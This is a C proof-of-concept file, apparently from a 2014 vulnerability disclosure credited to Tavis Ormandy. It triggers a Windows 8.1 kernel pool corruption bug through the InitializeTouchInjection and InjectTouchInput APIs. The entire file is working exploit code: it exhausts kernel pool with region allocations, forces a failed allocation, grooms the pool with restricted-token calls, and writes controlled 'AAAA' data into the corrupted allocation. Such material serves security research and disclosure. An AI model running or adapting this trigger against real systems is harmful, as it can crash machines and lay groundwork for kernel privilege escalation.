Inject.c

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "ntdll")
#pragma comment(lib, "user32")
#pragma comment(lib, "gdi32")
#pragma comment(lib, "advapi32")

// InitializeTouchInjection() Win8.1 Testcase
// -- Tavis Ormandy <taviso@google.com>, Feb 2014.

int main(int argc, char **argv)
{
    POINTER_TOUCH_INFO Contact;
    SID_AND_ATTRIBUTES SidToRestricted;
    ULONG Size;
    HANDLE Handle;

    ZeroMemory(&Contact, sizeof Contact);
    ZeroMemory(&SidToRestricted, sizeof SidToRestricted);

    // I *think* TOUCH_MASK_CONTACTAREA is required (i.e. rcContact), the rest
    // just need to be valid.
    Contact.pointerInfo.pointerType             = PT_TOUCH;
    Contact.pointerInfo.pointerFlags            = POINTER_FLAG_DOWN | POINTER_FLAG_INRANGE | POINTER_FLAG_INCONTACT;
    Contact.pointerInfo.ptPixelLocation.x       = 'AAAA';
    Contact.pointerInfo.ptPixelLocation.y       = 'AAAA';
    Contact.rcContact.left                      = 'AAAA';
    Contact.rcContact.right                     = 'AAAA';
    Contact.rcContact.top                       = 'AAAA';
    Contact.rcContact.bottom                    = 'AAAA';
    Contact.touchFlags                          = TOUCH_FLAG_NONE;
    Contact.touchMask                           = TOUCH_MASK_CONTACTAREA;
    Size                                        = SECURITY_MAX_SID_SIZE;
    Handle                                      = INVALID_HANDLE_VALUE;
    SidToRestricted.Sid                         = _alloca(Size);

    CreateWellKnownSid(WinNullSid, NULL, SidToRestricted.Sid, &Size);

    // This just exhausts available pool (how that's accomplished is irrelevant).
    for (Size = 1 << 26; Size; Size >>= 1) {
        while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            ;
    }

    for (;;) {
        // Initialize touch injection with very small number of contacts.
        InitializeTouchInjection(1, TOUCH_FEEDBACK_DEFAULT);

        // Now increase the number of contacts, which should (eventually) cause an allocation fail.
        InitializeTouchInjection(MAX_TOUCH_COUNT, TOUCH_FEEDBACK_DEFAULT);

        // I think this will just massage the pool, sequence found by fuzzing.
        OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &Handle);
        CreateRestrictedToken(Handle, 0, 0, NULL, 0, NULL, 1, &SidToRestricted, &Handle);

        // Write something to the touch injection allocation.
        InjectTouchInput(1, &Contact);
    }

    return 0;
}